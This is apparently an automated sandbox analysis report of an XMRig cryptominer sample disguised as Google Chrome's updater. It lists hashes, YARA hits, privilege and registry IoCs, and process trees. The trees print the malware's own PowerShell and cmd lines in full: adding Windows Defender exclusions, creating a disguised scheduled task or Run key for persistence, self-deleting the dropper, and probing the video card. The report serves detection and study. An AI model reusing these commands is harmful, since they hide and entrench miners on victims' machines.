xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1785s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 3068 created 3528	3068	6vHkJ4UErTSS5ECD.exe	40
PID 3068 created 3528	3068	6vHkJ4UErTSS5ECD.exe	40
PID 3068 created 3528	3068	6vHkJ4UErTSS5ECD.exe	40
PID 3068 created 3528	3068	6vHkJ4UErTSS5ECD.exe	40
PID 3780 created 3528	3780	updater.exe	40
PID 3780 created 3528	3780	updater.exe	40
PID 3780 created 3528	3780	updater.exe	40
PID 3780 created 3528	3780	updater.exe	40
PID 1992 created 3528	1992	conhost.exe	40
PID 3780 created 3528	3780	updater.exe	40

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral6/memory/3524-125-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-129-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-131-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-132-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-134-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-138-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-140-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-142-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-144-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-146-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-148-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-150-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-152-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-154-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-156-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-158-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-160-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-162-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-164-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-166-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-168-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-170-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-172-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-174-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-176-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-178-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-180-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-182-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-184-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig
behavioral6/memory/3524-186-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
3780	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral6/memory/3524-121-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-125-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-129-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-131-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-132-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-134-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-138-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-140-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-142-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-144-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-146-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-148-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-150-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-152-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-154-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-156-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-158-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-160-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-162-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-164-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-166-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-168-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-170-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-172-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-174-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-176-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-178-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-180-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-182-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-184-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx
behavioral6/memory/3524-186-0x00007FF76CB20000-0x00007FF76D314000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3780 set thread context of 1992	3780	updater.exe	118
PID 3780 set thread context of 3524	3780	updater.exe	113

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	6vHkJ4UErTSS5ECD.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2964	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
3068	6vHkJ4UErTSS5ECD.exe
3068	6vHkJ4UErTSS5ECD.exe
2508	powershell.exe
2508	powershell.exe
3068	6vHkJ4UErTSS5ECD.exe
3068	6vHkJ4UErTSS5ECD.exe
636	powershell.exe
636	powershell.exe
3068	6vHkJ4UErTSS5ECD.exe
3068	6vHkJ4UErTSS5ECD.exe
3068	6vHkJ4UErTSS5ECD.exe
3068	6vHkJ4UErTSS5ECD.exe
4936	powershell.exe
4936	powershell.exe
3780	updater.exe
3780	updater.exe
1264	powershell.exe
1264	powershell.exe
3780	updater.exe
3780	updater.exe
1488	powershell.exe
1488	powershell.exe
3780	updater.exe
3780	updater.exe
3780	updater.exe
3780	updater.exe
1992	conhost.exe
1992	conhost.exe
3780	updater.exe
3780	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeIncreaseQuotaPrivilege	636	powershell.exe
Token: SeSecurityPrivilege	636	powershell.exe
Token: SeTakeOwnershipPrivilege	636	powershell.exe
Token: SeLoadDriverPrivilege	636	powershell.exe
Token: SeSystemProfilePrivilege	636	powershell.exe
Token: SeSystemtimePrivilege	636	powershell.exe
Token: SeProfSingleProcessPrivilege	636	powershell.exe
Token: SeIncBasePriorityPrivilege	636	powershell.exe
Token: SeCreatePagefilePrivilege	636	powershell.exe
Token: SeBackupPrivilege	636	powershell.exe
Token: SeRestorePrivilege	636	powershell.exe
Token: SeShutdownPrivilege	636	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeSystemEnvironmentPrivilege	636	powershell.exe
Token: SeRemoteShutdownPrivilege	636	powershell.exe
Token: SeUndockPrivilege	636	powershell.exe
Token: SeManageVolumePrivilege	636	powershell.exe
Token: 33	636	powershell.exe
Token: 34	636	powershell.exe
Token: 35	636	powershell.exe
Token: 36	636	powershell.exe
Token: SeIncreaseQuotaPrivilege	636	powershell.exe
Token: SeSecurityPrivilege	636	powershell.exe
Token: SeTakeOwnershipPrivilege	636	powershell.exe
Token: SeLoadDriverPrivilege	636	powershell.exe
Token: SeSystemProfilePrivilege	636	powershell.exe
Token: SeSystemtimePrivilege	636	powershell.exe
Token: SeProfSingleProcessPrivilege	636	powershell.exe
Token: SeIncBasePriorityPrivilege	636	powershell.exe
Token: SeCreatePagefilePrivilege	636	powershell.exe
Token: SeBackupPrivilege	636	powershell.exe
Token: SeRestorePrivilege	636	powershell.exe
Token: SeShutdownPrivilege	636	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeSystemEnvironmentPrivilege	636	powershell.exe
Token: SeRemoteShutdownPrivilege	636	powershell.exe
Token: SeUndockPrivilege	636	powershell.exe
Token: SeManageVolumePrivilege	636	powershell.exe
Token: 33	636	powershell.exe
Token: 34	636	powershell.exe
Token: 35	636	powershell.exe
Token: 36	636	powershell.exe
Token: SeIncreaseQuotaPrivilege	636	powershell.exe
Token: SeSecurityPrivilege	636	powershell.exe
Token: SeTakeOwnershipPrivilege	636	powershell.exe
Token: SeLoadDriverPrivilege	636	powershell.exe
Token: SeSystemProfilePrivilege	636	powershell.exe
Token: SeSystemtimePrivilege	636	powershell.exe
Token: SeProfSingleProcessPrivilege	636	powershell.exe
Token: SeIncBasePriorityPrivilege	636	powershell.exe
Token: SeCreatePagefilePrivilege	636	powershell.exe
Token: SeBackupPrivilege	636	powershell.exe
Token: SeRestorePrivilege	636	powershell.exe
Token: SeShutdownPrivilege	636	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeSystemEnvironmentPrivilege	636	powershell.exe
Token: SeRemoteShutdownPrivilege	636	powershell.exe
Token: SeUndockPrivilege	636	powershell.exe
Token: SeManageVolumePrivilege	636	powershell.exe
Token: 33	636	powershell.exe
Token: 34	636	powershell.exe
Token: 35	636	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3608 wrote to memory of 2428	3608	cmd.exe	102
PID 3608 wrote to memory of 2428	3608	cmd.exe	102
PID 4936 wrote to memory of 2664	4936	powershell.exe	105
PID 4936 wrote to memory of 2664	4936	powershell.exe	105
PID 3780 wrote to memory of 1992	3780	updater.exe	118
PID 708 wrote to memory of 2964	708	cmd.exe	112
PID 708 wrote to memory of 2964	708	cmd.exe	112
PID 3780 wrote to memory of 3524	3780	updater.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3068

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:636
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1488
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3524
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4648
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:708
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1992

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2428

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3780

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 141KB
SHA256 ea809c21e068c53e57e49b78c0e9833bfbaaf4fca0c4f0d1528bb71d3acae601
MD5 c99f5a26bc109e072f914d47716e3f24
SHA1 97a0f898daf093e7852c8cb83ef2fd2fd4b9faf3
SHA512 f876cf20954b523a602461ec57afcc6d1e857308f0556fff34cc3f43ebfbaabd8ad14ca468a6d96051b52139db89f6ba4de1a7f88aaab9d82cc8fd74fb257593
SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYviC:L3zjTg6uUuViDX5Q6k6hyqsv
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 719KB
SHA256 7693f040faf75a81e0df765b1a37f7fe6201c6ec8e905067a86c267115d406c3
MD5 62050646b9bdbedf3594deb0e5b73c67
SHA1 298e1ce83c22e199a0af2b15f16431881e824f48
SHA512 b79df6b60acea89708f70c16e719f7d4a93b2e6f7cc04956cd07594d3242ab8c99131f4a9b05ebd66823dd77770cbf67056ab2d52beda2eed7d7bea458183673
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNhd7iGt:rWVipGdVZjdqVC5jd88FC3bc+uxWV+ik
